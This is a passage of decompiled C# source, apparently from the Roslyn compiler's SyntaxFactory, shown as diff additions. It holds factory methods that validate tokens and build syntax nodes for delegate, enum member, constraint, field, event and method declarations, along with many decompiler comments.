Unknown result type (might be due to invalid IL or missing references) + //IL_004e: Unknown result type (might be due to invalid IL or missing references) + //IL_006e: Unknown result type (might be due to invalid IL or missing references) + //IL_007a: Unknown result type (might be due to invalid IL or missing references) + //IL_00c8: Unknown result type (might be due to invalid IL or missing references) + if (delegateKeyword.Kind() != SyntaxKind.DelegateKeyword) + { + throw new ArgumentException("delegateKeyword"); + } + if (returnType == null) + { + throw new ArgumentNullException("returnType"); + } + if (identifier.Kind() != SyntaxKind.IdentifierToken) + { + throw new ArgumentException("identifier"); + } + if (parameterList == null) + { + throw new ArgumentNullException("parameterList"); + } + if (semicolonToken.Kind() != SyntaxKind.SemicolonToken) + { + throw new ArgumentException("semicolonToken"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.DelegateDeclarationSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.DelegateDeclaration(GreenNodeExtensions.ToGreenList(attributeLists.Node), GreenNodeExtensions.ToGreenList(((SyntaxTokenList)(ref modifiers)).Node), (SyntaxToken)(object)((SyntaxToken)(ref delegateKeyword)).Node, (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.TypeSyntax)(object)((SyntaxNode)returnType).Green, (SyntaxToken)(object)((SyntaxToken)(ref identifier)).Node, (typeParameterList == null) ? null : ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.TypeParameterListSyntax)(object)((SyntaxNode)typeParameterList).Green), (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ParameterListSyntax)(object)((SyntaxNode)parameterList).Green, GreenNodeExtensions.ToGreenList(constraintClauses.Node), (SyntaxToken)(object)((SyntaxToken)(ref semicolonToken)).Node)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.DelegateDeclarationSyntax DelegateDeclaration(SyntaxList attributeLists, SyntaxTokenList modifiers, Microsoft.CodeAnalysis.CSharp.Syntax.TypeSyntax returnType, SyntaxToken identifier, Microsoft.CodeAnalysis.CSharp.Syntax.TypeParameterListSyntax? typeParameterList, Microsoft.CodeAnalysis.CSharp.Syntax.ParameterListSyntax parameterList, SyntaxList constraintClauses) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + return DelegateDeclaration(attributeLists, modifiers, Token(SyntaxKind.DelegateKeyword), returnType, identifier, typeParameterList, parameterList, constraintClauses, Token(SyntaxKind.SemicolonToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.DelegateDeclarationSyntax DelegateDeclaration(Microsoft.CodeAnalysis.CSharp.Syntax.TypeSyntax returnType, SyntaxToken identifier) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_002f: Unknown result type (might be due to invalid IL or missing references) + //IL_0035: Unknown result type (might be due to invalid IL or missing references) + //IL_003b: Unknown result type (might be due to invalid IL or missing references) + return DelegateDeclaration(default(SyntaxList), default(SyntaxTokenList), Token(SyntaxKind.DelegateKeyword), returnType, identifier, null, ParameterList(), default(SyntaxList), Token(SyntaxKind.SemicolonToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.DelegateDeclarationSyntax DelegateDeclaration(Microsoft.CodeAnalysis.CSharp.Syntax.TypeSyntax returnType, string identifier) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + //IL_003a: Unknown result type (might be due to invalid IL or missing references) + //IL_0040: Unknown result type (might be due to invalid IL or missing references) + return DelegateDeclaration(default(SyntaxList), default(SyntaxTokenList), Token(SyntaxKind.DelegateKeyword), returnType, Identifier(identifier), null, ParameterList(), default(SyntaxList), Token(SyntaxKind.SemicolonToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.EnumMemberDeclarationSyntax EnumMemberDeclaration(SyntaxList attributeLists, SyntaxTokenList modifiers, SyntaxToken identifier, Microsoft.CodeAnalysis.CSharp.Syntax.EqualsValueClauseSyntax? equalsValue) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + if (identifier.Kind() != SyntaxKind.IdentifierToken) + { + throw new ArgumentException("identifier"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.EnumMemberDeclarationSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.EnumMemberDeclaration(GreenNodeExtensions.ToGreenList(attributeLists.Node), GreenNodeExtensions.ToGreenList(((SyntaxTokenList)(ref modifiers)).Node), (SyntaxToken)(object)((SyntaxToken)(ref identifier)).Node, (equalsValue == null) ? null : ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.EqualsValueClauseSyntax)(object)((SyntaxNode)equalsValue).Green))).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.EnumMemberDeclarationSyntax EnumMemberDeclaration(SyntaxToken identifier) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + return EnumMemberDeclaration(default(SyntaxList), default(SyntaxTokenList), identifier, null); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.EnumMemberDeclarationSyntax EnumMemberDeclaration(string identifier) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + return EnumMemberDeclaration(default(SyntaxList), default(SyntaxTokenList), Identifier(identifier), null); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.BaseListSyntax BaseList(SyntaxToken colonToken, SeparatedSyntaxList types) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + if (colonToken.Kind() != SyntaxKind.ColonToken) + { + throw new ArgumentException("colonToken"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.BaseListSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.BaseList((SyntaxToken)(object)((SyntaxToken)(ref colonToken)).Node, GreenNodeExtensions.ToGreenSeparatedList(types.Node))).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.BaseListSyntax BaseList(SeparatedSyntaxList types = default(SeparatedSyntaxList)) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + return BaseList(Token(SyntaxKind.ColonToken), types); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.SimpleBaseTypeSyntax SimpleBaseType(Microsoft.CodeAnalysis.CSharp.Syntax.TypeSyntax type) + { + if (type == null) + { + throw new ArgumentNullException("type"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.SimpleBaseTypeSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.SimpleBaseType((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.TypeSyntax)(object)((SyntaxNode)type).Green)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.PrimaryConstructorBaseTypeSyntax PrimaryConstructorBaseType(Microsoft.CodeAnalysis.CSharp.Syntax.TypeSyntax type, Microsoft.CodeAnalysis.CSharp.Syntax.ArgumentListSyntax argumentList) + { + if (type == null) + { + throw new ArgumentNullException("type"); + } + if (argumentList == null) + { + throw new ArgumentNullException("argumentList"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.PrimaryConstructorBaseTypeSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.PrimaryConstructorBaseType((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.TypeSyntax)(object)((SyntaxNode)type).Green, (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ArgumentListSyntax)(object)((SyntaxNode)argumentList).Green)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.PrimaryConstructorBaseTypeSyntax PrimaryConstructorBaseType(Microsoft.CodeAnalysis.CSharp.Syntax.TypeSyntax type) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return PrimaryConstructorBaseType(type, ArgumentList()); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.TypeParameterConstraintClauseSyntax TypeParameterConstraintClause(SyntaxToken whereKeyword, Microsoft.CodeAnalysis.CSharp.Syntax.IdentifierNameSyntax name, SyntaxToken colonToken, SeparatedSyntaxList constraints) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_0068: Unknown result type (might be due to invalid IL or missing references) + if (whereKeyword.Kind() != SyntaxKind.WhereKeyword) + { + throw new ArgumentException("whereKeyword"); + } + if (name == null) + { + throw new ArgumentNullException("name"); + } + if (colonToken.Kind() != SyntaxKind.ColonToken) + { + throw new ArgumentException("colonToken"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.TypeParameterConstraintClauseSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.TypeParameterConstraintClause((SyntaxToken)(object)((SyntaxToken)(ref whereKeyword)).Node, (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.IdentifierNameSyntax)(object)((SyntaxNode)name).Green, (SyntaxToken)(object)((SyntaxToken)(ref colonToken)).Node, GreenNodeExtensions.ToGreenSeparatedList(constraints.Node))).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.TypeParameterConstraintClauseSyntax TypeParameterConstraintClause(Microsoft.CodeAnalysis.CSharp.Syntax.IdentifierNameSyntax name, SeparatedSyntaxList constraints) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + return TypeParameterConstraintClause(Token(SyntaxKind.WhereKeyword), name, Token(SyntaxKind.ColonToken), constraints); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.TypeParameterConstraintClauseSyntax TypeParameterConstraintClause(Microsoft.CodeAnalysis.CSharp.Syntax.IdentifierNameSyntax name) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + return TypeParameterConstraintClause(Token(SyntaxKind.WhereKeyword), name, Token(SyntaxKind.ColonToken), default(SeparatedSyntaxList)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.TypeParameterConstraintClauseSyntax TypeParameterConstraintClause(string name) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + return TypeParameterConstraintClause(Token(SyntaxKind.WhereKeyword), IdentifierName(name), Token(SyntaxKind.ColonToken), default(SeparatedSyntaxList)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ConstructorConstraintSyntax ConstructorConstraint(SyntaxToken newKeyword, SyntaxToken openParenToken, SyntaxToken closeParenToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + if (newKeyword.Kind() != SyntaxKind.NewKeyword) + { + throw new ArgumentException("newKeyword"); + } + if (openParenToken.Kind() != SyntaxKind.OpenParenToken) + { + throw new ArgumentException("openParenToken"); + } + if (closeParenToken.Kind() != SyntaxKind.CloseParenToken) + { + throw new ArgumentException("closeParenToken"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.ConstructorConstraintSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.ConstructorConstraint((SyntaxToken)(object)((SyntaxToken)(ref newKeyword)).Node, (SyntaxToken)(object)((SyntaxToken)(ref openParenToken)).Node, (SyntaxToken)(object)((SyntaxToken)(ref closeParenToken)).Node)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ConstructorConstraintSyntax ConstructorConstraint() + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + return ConstructorConstraint(Token(SyntaxKind.NewKeyword), Token(SyntaxKind.OpenParenToken), Token(SyntaxKind.CloseParenToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ClassOrStructConstraintSyntax ClassOrStructConstraint(SyntaxKind kind, SyntaxToken classOrStructKeyword, SyntaxToken questionToken) + { + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + if (kind - 8868 > SyntaxKind.List) + { + throw new ArgumentException("kind"); + } + SyntaxKind syntaxKind = classOrStructKeyword.Kind(); + if (syntaxKind - 8374 > SyntaxKind.List) + { + throw new ArgumentException("classOrStructKeyword"); + } + syntaxKind = questionToken.Kind(); + if (syntaxKind != SyntaxKind.None && syntaxKind != SyntaxKind.QuestionToken) + { + throw new ArgumentException("questionToken"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.ClassOrStructConstraintSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.ClassOrStructConstraint(kind, (SyntaxToken)(object)((SyntaxToken)(ref classOrStructKeyword)).Node, (SyntaxToken)(object)((SyntaxToken)(ref questionToken)).Node)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ClassOrStructConstraintSyntax ClassOrStructConstraint(SyntaxKind kind) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + return ClassOrStructConstraint(kind, Token(GetClassOrStructConstraintClassOrStructKeywordKind(kind)), default(SyntaxToken)); + } + + private static SyntaxKind GetClassOrStructConstraintClassOrStructKeywordKind(SyntaxKind kind) + { + return kind switch + { + SyntaxKind.ClassConstraint => SyntaxKind.ClassKeyword, + SyntaxKind.StructConstraint => SyntaxKind.StructKeyword, + _ => throw new ArgumentOutOfRangeException(), + }; + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.TypeConstraintSyntax TypeConstraint(Microsoft.CodeAnalysis.CSharp.Syntax.TypeSyntax type) + { + if (type == null) + { + throw new ArgumentNullException("type"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.TypeConstraintSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.TypeConstraint((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.TypeSyntax)(object)((SyntaxNode)type).Green)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.DefaultConstraintSyntax DefaultConstraint(SyntaxToken defaultKeyword) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + if (defaultKeyword.Kind() != SyntaxKind.DefaultKeyword) + { + throw new ArgumentException("defaultKeyword"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.DefaultConstraintSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.DefaultConstraint((SyntaxToken)(object)((SyntaxToken)(ref defaultKeyword)).Node)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.DefaultConstraintSyntax DefaultConstraint() + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + return DefaultConstraint(Token(SyntaxKind.DefaultKeyword)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.FieldDeclarationSyntax FieldDeclaration(SyntaxList attributeLists, SyntaxTokenList modifiers, Microsoft.CodeAnalysis.CSharp.Syntax.VariableDeclarationSyntax declaration, SyntaxToken semicolonToken) + { + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + if (declaration == null) + { + throw new ArgumentNullException("declaration"); + } + if (semicolonToken.Kind() != SyntaxKind.SemicolonToken) + { + throw new ArgumentException("semicolonToken"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.FieldDeclarationSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.FieldDeclaration(GreenNodeExtensions.ToGreenList(attributeLists.Node), GreenNodeExtensions.ToGreenList(((SyntaxTokenList)(ref modifiers)).Node), (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.VariableDeclarationSyntax)(object)((SyntaxNode)declaration).Green, (SyntaxToken)(object)((SyntaxToken)(ref semicolonToken)).Node)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.FieldDeclarationSyntax FieldDeclaration(SyntaxList attributeLists, SyntaxTokenList modifiers, Microsoft.CodeAnalysis.CSharp.Syntax.VariableDeclarationSyntax declaration) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return FieldDeclaration(attributeLists, modifiers, declaration, Token(SyntaxKind.SemicolonToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.FieldDeclarationSyntax FieldDeclaration(Microsoft.CodeAnalysis.CSharp.Syntax.VariableDeclarationSyntax declaration) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + return FieldDeclaration(default(SyntaxList), default(SyntaxTokenList), declaration, Token(SyntaxKind.SemicolonToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.EventFieldDeclarationSyntax EventFieldDeclaration(SyntaxList attributeLists, SyntaxTokenList modifiers, SyntaxToken eventKeyword, Microsoft.CodeAnalysis.CSharp.Syntax.VariableDeclarationSyntax declaration, SyntaxToken semicolonToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_0046: Unknown result type (might be due to invalid IL or missing references) + //IL_0052: Unknown result type (might be due to invalid IL or missing references) + if (eventKeyword.Kind() != SyntaxKind.EventKeyword) + { + throw new ArgumentException("eventKeyword"); + } + if (declaration == null) + { + throw new ArgumentNullException("declaration"); + } + if (semicolonToken.Kind() != SyntaxKind.SemicolonToken) + { + throw new ArgumentException("semicolonToken"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.EventFieldDeclarationSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.EventFieldDeclaration(GreenNodeExtensions.ToGreenList(attributeLists.Node), GreenNodeExtensions.ToGreenList(((SyntaxTokenList)(ref modifiers)).Node), (SyntaxToken)(object)((SyntaxToken)(ref eventKeyword)).Node, (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.VariableDeclarationSyntax)(object)((SyntaxNode)declaration).Green, (SyntaxToken)(object)((SyntaxToken)(ref semicolonToken)).Node)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.EventFieldDeclarationSyntax EventFieldDeclaration(SyntaxList attributeLists, SyntaxTokenList modifiers, Microsoft.CodeAnalysis.CSharp.Syntax.VariableDeclarationSyntax declaration) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + return EventFieldDeclaration(attributeLists, modifiers, Token(SyntaxKind.EventKeyword), declaration, Token(SyntaxKind.SemicolonToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.EventFieldDeclarationSyntax EventFieldDeclaration(Microsoft.CodeAnalysis.CSharp.Syntax.VariableDeclarationSyntax declaration) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + return EventFieldDeclaration(default(SyntaxList), default(SyntaxTokenList), Token(SyntaxKind.EventKeyword), declaration, Token(SyntaxKind.SemicolonToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ExplicitInterfaceSpecifierSyntax ExplicitInterfaceSpecifier(Microsoft.CodeAnalysis.CSharp.Syntax.NameSyntax name, SyntaxToken dotToken) + { + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + if (name == null) + { + throw new ArgumentNullException("name"); + } + if (dotToken.Kind() != SyntaxKind.DotToken) + { + throw new ArgumentException("dotToken"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.ExplicitInterfaceSpecifierSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.ExplicitInterfaceSpecifier((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.NameSyntax)(object)((SyntaxNode)name).Green, (SyntaxToken)(object)((SyntaxToken)(ref dotToken)).Node)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ExplicitInterfaceSpecifierSyntax ExplicitInterfaceSpecifier(Microsoft.CodeAnalysis.CSharp.Syntax.NameSyntax name) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + return ExplicitInterfaceSpecifier(name, Token(SyntaxKind.DotToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.MethodDeclarationSyntax MethodDeclaration(SyntaxList attributeLists, SyntaxTokenList modifiers, Microsoft.CodeAnalysis.CSharp.Syntax.TypeSyntax returnType, Microsoft.CodeAnalysis.CSharp.Syntax.ExplicitInterfaceSpecifierSyntax? explicitInterfaceSpecifier, SyntaxToken identifier, Microsoft.CodeAnalysis.CSharp.Syntax.TypeParameterListSyntax? typeParameterList, Microsoft.CodeAnalysis.CSharp.Syntax.ParameterListSyntax parameterList, SyntaxList constraintClauses, Microsoft.CodeAnalysis.CSharp.Syntax.BlockSyntax? body, Microsoft.CodeAnalysis.CSharp.Syntax.ArrowExpressionClauseSyntax? expressionBody, SyntaxToken semicolonToken) + { + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0036: Unknown result type (might be due to invalid IL or missing references) + //IL_005b: Unknown result type (might be due to invalid IL or missing references) + //IL_0067: Unknown result type (might be due to invalid IL or missing references) + //IL_00ba: Unknown result type (might be due to invalid IL or missing references) + if (returnType == null) + { + throw new ArgumentNullException("returnType"); + } + if (identifier.Kind() != SyntaxKind.IdentifierToken) + { + throw new ArgumentException("identifier"); + } + if (parameterList == null) + { + throw new ArgumentNullException("parameterList"); + } + SyntaxKind syntaxKind = semicolonToken.Kind(); + if (syntaxKind != SyntaxKind.None && syntaxKind != SyntaxKind.SemicolonToken) + { + throw new ArgumentException("semicolonToken"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.MethodDeclarationSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.MethodDeclaration(GreenNodeExtensions.ToGreenList(attributeLists.Node), GreenNodeExtensions.ToGreenList(((SyntaxTokenList)(ref modifiers)).Node), (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.TypeSyntax)(object)((SyntaxNode)returnType).Green, (explicitInterfaceSpecifier == null) ? null : ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ExplicitInterfaceSpecifierSyntax)(object)((SyntaxNode)explicitInterfaceSpecifier).Green), (SyntaxToken)(object)((SyntaxToken)(ref identifier)).Node, (typeParameterList == null) ? null : ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.TypeParameterListSyntax)(object)((SyntaxNode)typeParameterList).Green), (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ParameterListSyntax)(object)((SyntaxNode)parameterList).Green, GreenNodeExtensions.ToGreenList(constraintClauses.Node), (body == null) ? null : ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.BlockSyntax)(object)((SyntaxNode)body).Green), (expressionBody == null) ? null : ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ArrowExpressionClauseSyntax)(object)((SyntaxNode)expressionBody).Green), (SyntaxToken)(object)((SyntaxToken)(ref semicolonToken)).Node)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.MethodDeclarationSyntax MethodDeclaration(SyntaxList attributeLists, SyntaxTokenList modifiers, Microsoft.CodeAnalysis.CSharp.Syntax.TypeSyntax returnType, Microsoft.CodeAnalysis.CSharp.Syntax.ExplicitInterfaceSpecifierSyntax? explicitInterfaceSpecifier, SyntaxToken identifier, Microsoft.CodeAnalysis.CSharp.Syntax.TypeParameterListSyntax? typeParameterList, Microsoft.CodeAnalysis.CSharp.Syntax.ParameterListSyntax parameterList, SyntaxList constraintClauses, Microsoft.CodeAnalysis.CSharp.Syntax.BlockSyntax? body, Microsoft.CodeAnalysis.CSharp.Syntax.ArrowExpressionClauseSyntax? expressionBody) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0004: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + return MethodDeclaration(attributeLists, modifiers, returnType, explicitInterfaceSpecifier, identifier, typeParameterList, parameterList, constraintClauses, body, expressionBody, default(SyntaxToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.MethodDeclarationSyntax MethodDeclaration(Microsoft.CodeAnalysis.CSharp.Syntax.TypeSyntax returnType, SyntaxToken identifier) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + //IL_0037: Unknown result type (might be due to invalid IL or missing references) + return MethodDeclaration(default(SyntaxList), default(SyntaxTokenList), returnType, null, identifier, null, ParameterList(), default(SyntaxList), null, null, default(SyntaxToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.MethodDeclarationSyntax MethodDeclaration(Microsoft.CodeAnalysis.CSharp.Syntax.TypeSyntax returnType, string identifier) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + //IL_0036: Unknown result type (might be due to invalid IL or missing references) + //IL_003c: Unknown result type (might be due to invalid IL or missing references) + return MethodDeclaration(default(SyntaxList), default(SyntaxTokenList), returnType, null, Identifier(identifier), null, ParameterList(), default(SyntaxList), null, null, default(SyntaxToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.OperatorDeclarationSyntax OperatorDeclaration(SyntaxList attributeLists, SyntaxTokenList modifiers, 